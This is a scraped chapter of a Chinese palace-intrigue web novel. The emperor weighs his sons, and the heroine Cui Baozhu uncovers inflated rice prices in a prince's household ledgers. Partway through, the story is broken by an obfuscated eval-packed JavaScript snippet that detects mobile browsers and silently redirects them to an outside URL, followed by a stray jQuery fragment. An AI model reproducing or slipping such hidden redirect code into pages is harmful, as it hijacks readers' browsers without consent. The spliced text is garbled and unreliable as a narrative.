默认冷灰
24号文字
方正启体

15.账册

作者:DH11RH本书字数:K更新时间:
    傅白从西南回京,快马加鞭,一刻不敢耽误。刚到京城,连口茶也未饮,便风尘仆仆入宫复命。


    “奴才给皇上请安、给宣平侯请安。”


    皇上正在御书房和崔明远下棋,扫了眼傅白,笑吟吟问:“怎么样?那丫头一切都好?”


    “回皇上,县主好着呢!” 傅白起身,见皇上手边的茶凉了,边回话边斟满:“有皇上赐的金甲卫在,进门就当家,风光极了。”


    崔明远手一抖,落错一子。


    “不玩了。” 皇上投子,拍了拍崔明雨啊的肩膀:“明远心不在焉,故意让朕。”


    崔明远与皇上相交于微时。四十余年过去,皇上给崔家体面、荣华,崔明远回馈给皇上绝对的忠诚。


    “臣替宝珠谢皇上。” 崔明远一板一眼磕头谢恩。


    “宝珠这丫头陪在朕身边的时间,比朕的公主都多。” 皇上虚扶了他一把,煞有介事道:“嫁了人,朕还怪想她的。”


    “皇上不用担心。” 傅白最会见缝插针说吉祥话,别有深意道:“用不了多久,县主就和咱们殿下一起回来了。”


    崔明远心一沉,还欲再问…


    皇上却一摆手,“明远啊,你先退下,明日再来陪朕下棋。”


    “臣告退。”


    “禀皇上,皇上交代老奴的话,老奴都和殿下说了。” 见崔明远走远了,傅白重新把西南一趟发生的种种说给皇上。


    末了,又添一句:“皇上的慈父之心,殿下都明白。”


    “明白?” 皇上显然不尽信。


    “过去殿下少不经事,难免被情份绊住脚。经明月州一遭,殿下看清了谢琅的真面目,也明白皇上督促他,是为他好。” 傅白口中的谢珩,显然与他所见不同。


    傅白在勾心斗角里摸爬滚打一辈子。之所以还能平平安安站在这,全靠两字——退路。


    他看好谢珩。却不明说,也不回禀,只是中规中矩挑皇上爱听的说。


    “你很看好老七?” 皇上状似不经意一问。


    谢珩若入皇子玉蝶,行七。


    傅白心间一凛,面不改色道:“皇上的龙子,个个都好。”


    “朕膝下诸子,成器的没几个。” 皇上冷哼一声,评价起宫中成年的几位皇子:“老大软弱、老四懒惰、老五粗笨。”


    他翻开桌上的账册,和被崔宝珠撕毁的那本一模一样,甚至完好无损。


    显然是账册在被谢珩拿到以后,又被人誊抄下来,直接送回皇上手里。


    皇上翻开,冷眼扫过账册上三皇子运售假药、私藏弓弩种种。冷哼一声:“老三有些野心,却做事急躁,无容人之量。”


    抬手,将账册扔进炭盆,盖棺定论:“难当大任。”


    一番话听得傅白冷汗直流,恨不能找个地缝钻进去。


    “宝珠那丫头怎么样?朕听说在明月州时,她和老七相处得不错?” 皇上再问。


    “大婚当日,殿下纳了几位青楼的女子入府,气得县主连夜逃婚。” 傅白如实道。


    侧面佐证了,崔宝珠和谢珩的关系并不好。


    “这丫头倒是个烈性子。” 皇上摇头笑了笑,难得流出几分真性情。又问:“回府了?”


    “回了。” 傅白揣度着皇上的态度,适时道:“线人来报,柳氏串通周汲差人绑了县主,让县主吃了不少苦头。”


    “柳氏…” 皇上面露不虞。


    “殿下在明月州毒发那次,柳氏曾送解药给殿下。”


    傅白未直言,只说:“柳胜被人称作西南药王,又与镇南王交好,是有些真本事的。”


    蜀都的晨雾还未散尽,镇南王府的朱漆大门前已停满了马车。


    崔宝珠站在廊下,望着王妃郑氏指挥仆从往车上搬箱笼。


    郑氏今日穿了件靛青色的对襟长衫,发间只簪一支白玉扁方,比平日更显利落。


    "宝珠。"郑氏转身向她招手,腕间的翡翠镯子碰出清脆声响,"来,娘有话同你说。"


    这声"娘"叫得崔宝珠心尖一颤,对镇南王府的归属感又强了几分。


    郑氏拉着她,语重心长:"管家不易。但千万记着,家和万事兴。"


    待郑氏走远,崔宝珠仰头看着镇南王府偌大的府邸,实在笑不出来。


    这么大个家,该怎么管?


    刚进花厅,两名婆子就抬着一口鎏金铜箱进来,"哐当"一声放在地上。


    箱盖掀开,里面整整齐齐码着账册,每一本都裹着靛蓝布套,看起来崭新如初。


    "这是……"


    "这是府上近五年的总账。"曹氏姗姗来迟,面上丝毫不悦也无。


    反倒看好戏似的,交代两句便施施然离开:"我身子弱,这些年管得松散。现在既是你管事了,就从头来吧。"


    崔宝珠心头一跳。


    这哪是交权?分明是烫手山芋。账目若没问题,曹氏怎会甘心交出?


    半个时辰后,崔宝珠坐在花厅里,指尖拂过账册扉页。


    翠微"咦"了一声:"小姐,这账本怎么……"


    崔宝珠垂眸。


    靛蓝布套下的账册,边角竟布满虫蛀的孔洞,有些页数甚至黏连在一起,轻轻一扯就碎成齑粉。


    "少夫人见谅。"米仓管事的刘婆子面脸堆笑,借口道:"去岁蜀地潮湿,库房进了蠹虫,老奴们尽力抢救了。"


    崔宝珠微微一笑:"无妨。"


    她随手翻开一页——


    景和二十三年十月,购粳米OO百石,单价三两五钱/石,合计一OO两。


    景和二十三年腊月,购上等香米三百石,单价OO两/石,用于年节赏赐。


    墨迹晕染,恰到好处地模糊了字数。


    紧接着,两笔相同记录——


    购糯米二百石,单价三两/石,合计六百两。


    购糯米二百石,单价三两/石,合计六百两。


    再翻一页:


    景和二十四年三月:入库新米一千石,月末盘点"鼠耗"二百石。


    景和二十四年六月:拨"赈灾米"五百石至佃农村庄 。


    "陈年旧账,偶有错漏也难免。今年…今年老奴一定写得清清楚楚。" 刘婆子一个劲儿的打马虎眼,看来没少得好处。


    是从前在京中,她早将账册摔在管事脸上。但现在不行,她初来乍到,不能轻易与这些管事的交恶。


    心里默默记上一笔,表面不显:"我慢慢看,你先退下吧。"


    崔宝珠指尖划过泛黄的纸页,忽然在某一处停住——"景和三年七月,购蜀香米二百石,每石四两五钱。"


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853872|175044||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这价格高得离谱。她在京城时虽不管家,却也知寻常米价不过二两一石。


    西南水土丰饶,怎会反而贵了近倍?


    "翠微,"她合上账本,声音刻意放轻,"备车,我们去米行。"


    翠微刚要应声,忽见自家小姐从抽屉里摸出那把火铳,利落地塞进袖中。


    蜀都西市的米行街热闹非凡,空气中飘着新谷的清香。


    崔宝珠问了新米的价格,又劳烦掌柜查了过去五年的蜀都米价——大约都在每石二两上下浮动。


    可镇南王府的账册上却记作四两五钱,多出的银两流向何处了?


    "小姐..."翠微紧张地拽她袖子,手指悄悄往旁边一指。


    "嘘——"崔宝珠也扫见巷口闪过的一抹桃红色衣角——是谢珩的妾室春桃。


    那身影鬼祟得很,时而隐在粮垛后,时而假意挑拣布匹。


    崔宝珠走着走着,突然回身,笑吟吟拦住她去路:"春桃姑娘也来买米?"


    春桃脸色骤变,又强挤出媚笑:"夫人说笑了,妾身是来挑绸缎的..."


    "是吗?"崔宝珠低头打量着她,目光落在她手腕上,"醉仙楼的姑娘,手上功夫倒像练家子。"


    春桃瞳孔紧缩。


    崔宝珠心跳如鼓,却故作镇定,在赌春桃不敢当街撕破脸。


    果然,春桃最终垂下头:"夫人慧眼。"却再不吐露半字。


    与此同时,醉仙楼地窖里弥漫着刺鼻的汗臭与酒气。


    谢珩一脚踩在条凳上,将一袋金沙"哗啦"倒在桌上:"燕子矶三处私盐矿,开个价。"


    盐枭头子刀疤李眯起眼:"世子爷好大的胃口。"


    抓着金沙嘿嘿一笑:"不过...您若真敢要,明日独自来燕子矶。"


    谢珩把玩酒杯的手顿了顿。


    "成啊。"他仰头饮尽杯中酒,笑得浑不在意,"记得备好地契。"


    月色朦胧,崔宝珠蜷在假山石后守株待兔,等着谢珩回府。


    她本不该管这些,可春桃手上的茧子像根刺,扎得她坐立难安。


    亥时刚过,谢珩回府。


    七拐八绕地,竟真进了春桃的厢房。


    窗纸上映出两人对坐的身影,隐约传来对话——


    "主子,"春桃的声音透过窗缝,"...夫人今日去了米行..."


    "还有...夫人今日发现奴婢手上有茧。"


    一阵沉默后,谢珩声音里带着笑意:"倒是长进了。"


    崔宝珠撇撇嘴,这厮竟然派春桃监视她!


    半晌,春桃的琴声响起来,她悄悄骂了谢珩几句,正要后退——


    "米价二两一石,账上记三两五钱。"谢珩的声音贴着耳畔响起,温热的呼吸拂过她耳垂,"夫人蹲在这儿,是想听我夸你聪明?"


    崔宝珠猛地转身,后背抵上假山。


    谢珩就站在一步之外,月光描摹着他的轮廓,唇角噙着若有似无的笑。


    崔宝珠听墙角被逮个正着,有点脸红。转念一想,没理也要辩三分:"你卑鄙!竟然派人监视我!"


    谢珩抬手,从她发间拈下一片落叶:"我怕你见府上亏空太多,又想逃跑。"


    他指尖一弹,落叶飘进夜色,"春桃跟着,总好过再麻烦封决救你。"
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)